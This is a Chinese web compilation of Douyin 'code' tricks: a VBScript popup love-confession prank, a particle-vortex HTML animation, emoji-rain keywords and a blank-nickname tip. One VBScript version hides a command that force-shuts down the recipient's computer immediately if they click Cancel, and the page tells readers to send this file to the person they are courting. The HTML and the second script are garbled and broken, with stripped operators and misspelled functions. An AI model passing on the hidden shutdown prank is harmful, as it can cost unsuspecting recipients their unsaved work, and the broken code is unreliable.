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抖音最火电脑cmd代码
1、新建一个文本文件,命名为表白.txt 输入代码
(以下是示例)
msgbox("做我女朋友好吗?")
msgbox("房产证写你名字...")
msgbox("保大...")
msgbox("我妈会游泳..")
x=msgbox("做我女朋友好不好",VbOkCancel)
if x=VbOk then
msgbox("爱你,么么哒")
elseif x=VbCancel then
msgbox("哼,再见")
end if
2、鼠标左键点击文本左上角文件,再点击另存为。
3、点击后会弹出以下窗口,文件名改成:表白.vbs,保存类型改为:所有文件,然后点击确定。
4、点击确定后,完成制作,电脑桌面上会显示一个vbs文件。鼠标左键双击单开刚才保存vbs文件,就会像抖音里面的一样了。
抖音HTML龙卷风特效代码是啥?
!DOCTYPE html
html
head
meta charset="utf-8"
title粒子漩涡特效/title
style
html,body{
margin:0px;
width:100%;
height:100%;
overflow:hidden;
background:#000;
#canvas{
position:absolute;
width:100%;
height:100%;
/style
/head
body
canvas id="canvas"/canvas
script
function project3D(x,y,z,vars){
var p,d;
x-=vars.camX;
y-=vars.camY-8;
z-=vars.camZ;
p=Math.atan2(x,z);
d=Math.sqrt(x*x+z*z);
x=Math.sin(p-vars.yaw)*d;
z=Math.cos(p-vars.yaw)*d;
p=Math.atan2(y,z);
d=Math.sqrt(y*y+z*z);
y=Math.sin(p-vars.pitch)*d;
z=Math.cos(p-vars.pitch)*d;
var rx1=-1000;
var ry1=1;
var rx2=1000;
var ry2=1;
var rx3=0;
var ry3=0;
var rx4=x;
var ry4=z;
var uc=(ry4-ry3)*(rx2-rx1)-(rx4-rx3)*(ry2-ry1);
var ua=((rx4-rx3)*(ry1-ry3)-(ry4-ry3)*(rx1-rx3))/uc;
var ub=((rx2-rx1)*(ry1-ry3)-(ry2-ry1)*(rx1-rx3))/uc;
if(!z)z=0.000000001;
if(ua0ua1ub0ub1){
return {
x:vars.cx+(rx1+ua*(rx2-rx1))*vars.scale,
y:vars.cy+y/z*vars.scale,
d:(x*x+y*y+z*z)
}else{
return { d:-1 };
function elevation(x,y,z){
var dist = Math.sqrt(x*x+y*y+z*z);
if(dist z/dist=-1 z/dist =1) return Math.acos(z / dist);
return 0.00000001;
function rgb(col){
col += 0.000001;
var r = parseInt((0.5+Math.sin(col)*0.5)*16);
var g = parseInt((0.5+Math.cos(col)*0.5)*16);
var b = parseInt((0.5-Math.sin(col)*0.5)*16);
return "#"+r.toString(16)+g.toString(16)+b.toString(16);
function interpolateColors(RGB1,RGB2,degree){
var w2=degree;
var w1=1-w2;
return [w1*RGB1[0]+w2*RGB2[0],w1*RGB1[1]+w2*RGB2[1],w1*RGB1[2]+w2*RGB2[2]];
function rgbArray(col){
col += 0.000001;
var r = parseInt((0.5+Math.sin(col)*0.5)*256);
var g = parseInt((0.5+Math.cos(col)*0.5)*256);
var b = parseInt((0.5-Math.sin(col)*0.5)*256);
return [r, g, b];
function colorString(arr){
var r = parseInt(arr[0]);
var g = parseInt(arr[1]);
var b = parseInt(arr[2]);
return "#"+("0" + r.toString(16) ).slice (-2)+("0" + g.toString(16) ).slice (-2)+("0" + b.toString(16) ).slice (-2);
function process(vars){
if(vars.points.lengthvars.initParticles) for(var i=0;i5;++i) spawnParticle(vars);
var p,d,t;
p = Math.atan2(vars.camX, vars.camZ);
d = Math.sqrt(vars.camX * vars.camX + vars.camZ * vars.camZ);
d -= Math.sin(vars.frameNo / 80) / 25;
t = Math.cos(vars.frameNo / 300) / 165;
vars.camX = Math.sin(p + t) * d;
vars.camZ = Math.cos(p + t) * d;
vars.camY = -Math.sin(vars.frameNo / 220) * 15;
vars.yaw = Math.PI + p + t;
vars.pitch = elevation(vars.camX, vars.camZ, vars.camY) - Math.PI / 2;
var t;
for(var i=0;ivars.points.length;++i){
x=vars.points[i].x;
y=vars.points[i].y;
z=vars.points[i].z;
d=Math.sqrt(x*x+z*z)/1.0075;
t=.1/(1+d*d/5);
p=Math.atan2(x,z)+t;
vars.points[i].x=Math.sin(p)*d;
vars.points[i].z=Math.cos(p)*d;
vars.points[i].y+=vars.points[i].vy*t*((Math.sqrt(vars.distributionRadius)-d)*2);
if(vars.points[i].yvars.vortexHeight/2 || d.25){
vars.points.splice(i,1);
spawnParticle(vars);
function drawFloor(vars){
var x,y,z,d,point,a;
for (var i = -25; i = 25; i += 1) {
for (var j = -25; j = 25; j += 1) {
x = i*2;
z = j*2;
y = vars.floor;
d = Math.sqrt(x * x + z * z);
point = project3D(x, y-d*d/85, z, vars);
if (point.d != -1) {
size = 1 + 15000 / (1 + point.d);
a = 0.15 - Math.pow(d / 50, 4) * 0.15;
if (a 0) {
vars.ctx.fillStyle = colorString(interpolateColors(rgbArray(d/26-vars.frameNo/40),[0,128,32],.5+Math.sin(d/6-vars.frameNo/8)/2));
vars.ctx.globalAlpha = a;
vars.ctx.fillRect(point.x-size/2,point.y-size/2,size,size);
vars.ctx.fillStyle = "#82f";
for (var i = -25; i = 25; i += 1) {
for (var j = -25; j = 25; j += 1) {
x = i*2;
z = j*2;
y = -vars.floor;
d = Math.sqrt(x * x + z * z);
point = project3D(x, y+d*d/85, z, vars);
if (point.d != -1) {
size = 1 + 15000 / (1 + point.d);
a = 0.15 - Math.pow(d / 50, 4) * 0.15;
if (a 0) {
vars.ctx.fillStyle = colorString(interpolateColors(rgbArray(-d/26-vars.frameNo/40),[32,0,128],.5+Math.sin(-d/6-vars.frameNo/8)/2));
vars.ctx.globalAlpha = a;
vars.ctx.fillRect(point.x-size/2,point.y-size/2,size,size);
function sortFunction(a,b){
return b.dist-a.dist;
function draw(vars){
vars.ctx.globalAlpha=.15;
vars.ctx.fillStyle="#000";
vars.ctx.fillRect(0, 0, canvas.width, canvas.height);
drawFloor(vars);
var point,x,y,z,a;
for(var i=0;ivars.points.length;++i){
x=vars.points[i].x;
y=vars.points[i].y;
z=vars.points[i].z;
point=project3D(x,y,z,vars);
if(point.d != -1){
vars.points[i].dist=point.d;
size=1+vars.points[i].radius/(1+point.d);
d=Math.abs(vars.points[i].y);
a = .8 - Math.pow(d / (vars.vortexHeight/2), 1000) * .8;
vars.ctx.globalAlpha=a=0a=1?a:0;
vars.ctx.fillStyle=rgb(vars.points[i].color);
if(point.x-1point.xvars.canvas.widthpoint.y-1point.yvars.canvas.height)vars.ctx.fillRect(point.x-size/2,point.y-size/2,size,size);
vars.points.sort(sortFunction);
function spawnParticle(vars){
var p,ls;
pt={};
p=Math.PI*2*Math.random();
ls=Math.sqrt(Math.random()*vars.distributionRadius);
pt.x=Math.sin(p)*ls;
pt.y=-vars.vortexHeight/2;
pt.vy=vars.initV/20+Math.random()*vars.initV;
pt.z=Math.cos(p)*ls;
pt.radius=200+800*Math.random();
pt.color=pt.radius/1000+vars.frameNo/250;
vars.points.push(pt);
function frame(vars) {
if(vars === undefined){
var vars={};
vars.canvas = document.querySelector("canvas");
vars.ctx = vars.canvas.getContext("2d");
vars.canvas.width = document.body.clientWidth;
vars.canvas.height = document.body.clientHeight;
window.addEventListener("resize", function(){
vars.canvas.width = document.body.clientWidth;
vars.canvas.height = document.body.clientHeight;
vars.cx=vars.canvas.width/2;
vars.cy=vars.canvas.height/2;
}, true);
vars.frameNo=0;
vars.camX = 0;
vars.camY = 0;
vars.camZ = -14;
vars.pitch = elevation(vars.camX, vars.camZ, vars.camY) - Math.PI / 2;
vars.yaw = 0;
vars.cx=vars.canvas.width/2;
vars.cy=vars.canvas.height/2;
vars.bounding=10;
vars.scale=500;
vars.floor=26.5;
vars.points=[];
vars.initParticles=700;
vars.initV=.01;
vars.distributionRadius=800;
vars.vortexHeight=25;
vars.frameNo++;
requestAnimationFrame(function() {
frame(vars);
process(vars);
draw(vars);
frame();
/script
/body
/html
抖音可以发满屏亲吻的几个字母是什么
发baci可以,baci其实是意大利语的亲亲,所以抖音上就会出现满屏的亲吻。
发Cium也可以是印尼语的亲亲。
发besos也可以是西班牙语的亲亲。
抖音App是一款社交类的软件,通过抖音短视频App你可以分享你的生活,同时也可以在这里认识到更多朋友,了解各种奇闻趣事。
抖音实质上是一个专注年轻人的音乐短视频社区,用户可以选择歌曲,配以短视频,形成自己的作品。它与小咖秀类似,但不同的是,抖音用户可以通过视频拍摄快慢、视频编辑、特效(反复、闪一下、慢镜头)等技术让视频更具创造性,而不是简单地对嘴型。
抖音平台都是年轻用户,配乐以电音、舞曲为主,视频分为两派:舞蹈派、创意派,共同的特点是都很有节奏感。也有少数放着抒情音乐展示咖啡拉花技巧的用户,成了抖音圈的一股清流。
扩展资料
微信上同抖音一样,发baci同样也可以出现满屏亲吻。
其它表情雨代码
鸡年大吉:有小鸡跳出来
财源滚滚 : 有金币雨
生日快乐:有蛋糕雨
么么哒:有亲亲的表情雨
想你了:有星星雨
下雪了:有雪花飘落
参考资料:百度百科抖音
抖音空白昵称代码复制2021
抖音里面很多空白名教程,直接通过教程链接复制即可获取空白昵称代码,下面演示获取流程:
演示所用设备:华为畅享20、EMUI9.1、抖音14.9.3。
一、首先打开抖音,点击搜索。
二、搜索内容“抖音空白昵称”,如下图,能够搜索出很多空白昵称的教程,并且视频简介中就包含了空白昵称的代码,随意点击打开一个。
三、如下图,如果发现视频简介中有空白代码的,直接点击右下角分享。
四、打开分享界面后,点击复制链接(其中包含视频链接和视频简介,我这里要的就是简介中的空白昵称代码)。
五、跳转到抖音改名界面,点击名字。
六、删除自己原本的名字,长按名字栏,点击粘贴。
七、最后把文字全部删除干净,仅保留空白的代码,点击保存。
八、最终效果如下图,更改空白抖音昵称操作完毕。
抖音上的表白代码是什么 抖音表白代码怎么写
以前大家总说工科生不懂浪漫,但最近DJ抖音网很流行用代码来表白,将代码编写好,然后将文档发给要表白的对象,然后就可以等着对方进入你的表白套路了。其实这是弹窗表白的代码不是很复杂,一般人按照步骤来都可以做到,下面就来看看具体的步骤:
1、KS97新建一个文本 输入代码
2、鼠标左键点击文本左上角文件,再点击另存为。
3、点击后会弹出以下窗口,文件名改成:表白示例.vbs,保存类型改为:所有文件,然后点击确定。
4、点击确定后,完成制作,电脑桌面上会显示一个vbs文件。鼠标左键双击单开刚才保存vbs文件,就会像抖音里面的一样了。
抖音表白代码怎么写
方法一
msgbox("做我女朋友好吗?")
msgbox("房产证写你名字...")
msgbox("保大...")
msgbox("我妈会游泳..")
x=msgbox("做我女朋友好不好",VbOkCancel)
if x=VbOk then
msgbox("爱你,么么哒")
elseif x=VbCancel then
msgbox("哼,再见")
set ws=createobject("wscript.shell")
ws.run"cmd.exe /cshutdown-s -f -t 0"
end if
使用方法:将第一段示例或者第二段示例复制到一个新建的文本文档中,保存。然后修改文本文档的后缀为vbs,如果会弹出如下面的弹窗,就表明成功了。大家可以随意修改里面的字,也可以加更多段msgbox带括号的那种。
方法二
直接在电脑上打开一个记事本
输入一下内容
asgbox(“做我女朋友好吗?”)
hsgbox("房产证上写称名”)
asgbox("保大”)
hsgbox("我妈会游泳)1
文字可以任意输入
保存在桌面上
将记事本的后缀改成.vbs,效果如下图,打开文本即可跳出对话框界面